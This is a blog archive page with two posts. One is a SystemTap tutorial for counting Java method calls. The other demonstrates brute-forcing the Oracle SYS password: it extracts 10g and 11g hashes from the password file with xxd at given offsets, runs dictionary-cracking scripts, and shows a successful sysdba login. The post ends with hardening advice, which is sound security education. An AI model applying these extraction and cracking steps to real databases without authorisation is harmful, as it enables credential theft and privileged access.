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Monthly Archives: December 2017

Profiling Java Application with Systemtap

1 Comment Posted by Laurent on December 22, 2017

A couple of days ago, I read this tweet from Tanel Poder :

To JVM internals geeks out there: What's the best way to *dynamically* instrument a handful of method calls to get their call counts? (no need for full trace, just counts fine). I know of btrace, but ideally without installing agents or restarting JVM.

— Tanel Poder Consulting 🇺🇦 (@TanelPoder) December 18, 2017

I’m not a JVM internals geek but I was sure there was a way to do the job without restarting the JVM, and I found some cool stuff with Systemtap.

To do this, you have to install two packages on your linux distribution: systemtap and systemtap-runtime-java (and configure correctly your user environment):

[root@spark ~]# yum install systemtap systemtap-runtime-java

Please note that I used a CentOS 7.4 distribution.

Then, and for the demo, I wrote a very small piece of Java that do these steps:

Prints the JVM PID
Wait for a key to be pressed. During this time, you will have to execute the systemtap script I will described later.
Execute a loop ten times, each loop with print a message and wait one second, and this last step is executed in a method name “loop_and_wait”.

Here’s the sample code:


package com.premiseo;

import java.lang.*;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.IOException;

class Example {
   public static void loop_and_wait(int n) throws InterruptedException{
           System.out.println("Waiting "+n+"ms... Tick");
           Thread.sleep(n);
        }

   public static void main(String[] args) {

      System.out.println("PID = "+java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split("@")[0]);
      System.out.println("Press any key when ready ...");

      try {
        BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
        String next = in.readLine();
      }
      catch (IOException ioe) {
        ioe.printStackTrace();
      }

      try {
        for (int i=0;i<10;i++) {
           loop_and_wait(1000);
        }
      }
      catch (InterruptedException ie) {
        ie.printStackTrace();
      }
   }
}

Then, compile and execute … very basic I said 😉

[spark@spark java]$ javac -cp $CLASSPATH:. com/premiseo/Example.java
[spark@spark java]$ java -cp $CLASSPATH:. com.premiseo.Example
PID = 9928
Press any key when ready ...

Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick

Now, to answer to Tanel, I used a short systemtap script that will profile the program and specially the loop_and_wait method. I will count the number of times the loop_and_wait method has been called, and I will account the time spent in this method execution.

To do that, I had to write two probes related to:

the full name of the class, including the package name: com.premiseo.Example
the class name where the method is defined: Example
the method name I want to profile: loop_and_wait

The first one will be executed when the program will start to execute the targeted method (java(“com.premiseo.Example”).class(“Example”).method(“loop_and_wait”)), the second one will be executed when the method will return (java(“com.premiseo.Example”).class(“Example”).method(“loop_and_wait”).return)

The related systemtap script is given below:

#!/usr/bin/env stap

global counter,timespent,t

probe begin {
  printf("Press Ctrl+C to stop profiling\n")
  counter=0
  timespent=0
}

probe java("com.premiseo.Example").class("Example").method("loop_and_wait")
{
  counter++
  t=gettimeofday_ms()
}

probe java("com.premiseo.Example").class("Example").method("loop_and_wait").return
{
  timespent+=gettimeofday_ms()-t
}

probe end {
   printf("Number of calls for loop_and_wait method: %ld \n",    counter)
   printf("Time Spent in method loop_and_wait: %ld msecs \n", timespent)
}

Execution of this systemtap script gave the following result (click the image for full size):

Is it dynamic? Yes, no need to restart the running JVM process you want to target. If you want to target a specific JVM process id, you can use the stap’s “-x” option, add the modify your probe definition like this:

probe java("com.premiseo.Example").class("Example").method("loop_and_wait")
{
  if (pid() == target())
    counter++
    t=gettimeofday_ms()
}

There’s a limitation, you cannot use wilcards in the java probe definition (java(“com.premiseo.Example”).class(“Example”).method(“loop*”) … for example). That would have been useful to profile a set of methods in the same class … but not possible currently.

If you want to read more about this kind of stuff, please read the following websites:

And … that’s all for today !! 😉

Development, Internals, java, Linux, Oracle, tools

Brute forcing the Oracle Password file

Leave a comment Posted by Laurent on December 15, 2017

If you want to remotely connect to your Oracle instance as sysdba, by default (ie. remote_login_passwordfile=EXCLUSIVE), you will probably use the password file (located in $ORACLE_HOME/dbs) to identify the SYS user.

Below, I used auditd to show that the password file is read by the server process when connecting remotely:

[oracle@oel6 ~]$ sudo service auditd status
auditd (pid  2422) is running...

[oracle@oel6 ~]$ sudo auditctl -l
No rules

[oracle@oel6 ~]$ sudo auditctl -w $ORACLE_HOME/dbs/orapworcl -p r
[oracle@oel6 ~]$ sudo auditctl -l
-w /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl -p r

[oracle@oel6 ~]$ sqlplus sys@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 09:14:52 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

Enter password:

Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

[oracle@oel6 ~]$ sudo ausearch -f $ORACLE_HOME/dbs/orapworcl | grep -A 2 '^type=PATH'
type=PATH msg=audit(1513326435.361:310): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:310):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:310): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aaf9c18 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:311): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:311):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:311): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aaf9c18 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:312): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:312):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:312): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=0 a2=0 a3=7ffe8aaf9c70 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:313): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:313):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:313): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=1002 a2=0 a3=797bfdf0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:314): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:314):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:314): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aae9288 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:315): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:315):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:315): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aae9288 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:316): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:316):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:316): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=0 a2=0 a3=0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:317): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:317):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:317): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=1002 a2=0 a3=797bfdf0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)

[oracle@oel6 ~]$ ps -ef | grep 7840
oracle    7840     1  0 09:27 ?        00:00:00 oracleorcl (LOCAL=NO)

So, if we have a closer look to this binary file, we can find various password hashes. In my example, I configured my sqlnet with SQLNET.ALLOWED_LOGON_VERSION_SERVER=11. As a result, my password file contains 10g, 11g and 12c password hashes for the SYS user.

Below, I used xxd linux command with specific offsets on my password file to get the password hashes (in bold in the output):

10g sys password hash

[oracle@oel6 ~]$ xxd -c16 -g0 -s +0x0484 -l 16 $ORACLE_HOME/dbs/orapworcl
0000484: 32363235343335323638333944303441 262543526839D04A

11g sys password hash

[oracle@oel6 ~]$ xxd -c30 -g0 -s +0x04ac -l 30 $ORACLE_HOME/dbs/orapworcl
00004ac: 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314 *.....o3.I..H.......>.....^.S.

First part (20 first bytes): SHA1 digest

[oracle@oel6 ~]$ xxd -c20 -g0 -s +0x04ac -l 20 $ORACLE_HOME/dbs/orapworcl
00004ac: 2adaa0a90bf26f339c49fe9948ab88a20baf82f9 *.....o3.I..H.......

Second part (10 next bytes): Salt used by Oracle

[oracle@oel6 ~]$ xxd -c10 -g0 -s +0x4C0 -l 10 $ORACLE_HOME/dbs/orapworcl
00004c0: 3ef3c5da13ca5eb95314 >.....^.S.

12c sys password hash

[oracle@oel6 ~]$ xxd -c80 -g0 -s +0x04CA -l 80 $ORACLE_HOME/dbs/orapworcl
00004ca: ad84face7a337c03baacca0bc63f97068e51edd0d6c53826ce8c347594a2800f92c736b4c83239fa47414ff2f68f45304b016ae215ed595c8b71c3c5a0ca3a0630e931d0f7d3929c9a6fb131f2fa0427 ....z3|......?...Q....8&..4u......6..29.GAO...E0K.j...Y\.q....:.0.1......o.1...'

Note: if you use the default configuration of oracle 12.2, you will only find 11g and 12c hashes.

Once these hashes have been found, I wrote some python scripts to brute force with a dictionary file to guess the password. Those scripts are available at this URL: https://github.com/lolo115/oracrack

First of all, I used the ora10g_hash_bf.py against the 10g hash to find the case insensitive password:

[oracle@oel6 sec]$ ./ora10g_hash_bf.py dict.txt sys 262543526839D04A
DICTFILE = dict.txt
USERNAME = sys
HASH     = 262543526839D04A
PASSWORD FOUND FOR USER sys !!! PASSWORD IS: rockyou
------
Be careful, the found password is case insensitive. The real password can include upper character(s)
Now generate all combinations for this password and run ora11g_hash_bf.py script to find the case sensitive password

Ok, the password is weak and the program found it in the dictionary file, but if we try it on our database, it fails because I used a sqlplus 12.2 client that use case sensitive passwords (and my SQLNET client configuration is the default one):

$ sqlplus sys/rockyou@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 10:06:37 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

ERROR:
ORA-01017: invalid username/password; logon denied

So, now as I know that the sys password is something like “rockyou” with upper and lower characters in it, I will use my “gen_all_comb.py” script to generate my own dictionary file that will contains all the combination for the “rockyou” password:

[oracle@oel6 sec]$ ./gen_all_comb.py rockyou > mydict.txt
[oracle@oel6 sec]$ head mydict.txt
rockyou
rockyoU
rockyOu
rockyOU
rockYou
rockYoU
rockYOu
rockYOU
rocKyou
rocKyoU
.../...

As the last operation, I have to use the ora11g_hash_bf.py script against the 11g hash (which is case sensitive) with my previously generated dictionary (mydict) and the script will find the correct password:

[oracle@oel6 sec]$ ./ora11g_hash_bf.py mydict.txt sys 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314
DICTFILE = mydict.txt
USERNAME = sys
HASH     = 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314
PASSWORD FOUND FOR USER sys !!! PASSWORD IS: RocKyoU

So let’s try:

[oracle@oel6 sec]$ sqlplus sys/RocKyoU@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 10:12:17 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

SQL>

In this blog post, I described how to brute force SYS password that is stored in the password file without trying to connect number of times to the database and lock account etc. Please note that, I didn’t read at any time the USER$ table too.

To avoid this, you can simply disable password file usage by setting remote_login_passwordfile to NONE and remove this password file. You can set a SYS password that is not weak (or use a password function with a profile etc.), there are too many customers that are still setting sys password to oracle, oracle123 or welcome1 ….

Finally, I didn’t write anything about the 12c hash (SHA512) because it’s a bit more complicated. Oracle 12c used a SCRAM authentication dialog, so first, you have to listen to the client/server network dialog, get some authentication keys and then run your own script. More, the 12c hash generation process uses PBKDF2 key derivation function that is a de-optimized function. As a consequence, it will slow down the execution rate of your script. So if you want to secure your 12c authentication process and avoid password brute force, you have to use only a 12c hash password (in your password file and into USER$ table), encrypt your network dialog with AES192 algorithm (starting with 12c, it can be done even in Standard Edition), use non weak passwords.

I will terminate this blog post with the traditional disclaimer … use all that is written in this blog post (including scripts) at your own risk. If you use all this stuff to hack a SYS password without any authorization … you will be the only responsible for all the consequences ! 😉

11g, 12c, Development, Oracle, Python, security, tools

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The views expressed on this blog are my own and do not reflect the views of the company(ies) I work (or have worked for) neither Oracle Corporation. The opinions expressed by visitors on this blog are theirs, not mine.

The information in this blog is written based on personal experiences. You are free to use the information on this blog but I am not responsible and will not compensate to you if you ever happen to suffer a loss/inconvenience/damage because of/while making use of this information.

Data … as usual

Monthly Archives: December 2017

Profiling Java Application with Systemtap

Brute forcing the Oracle Password file

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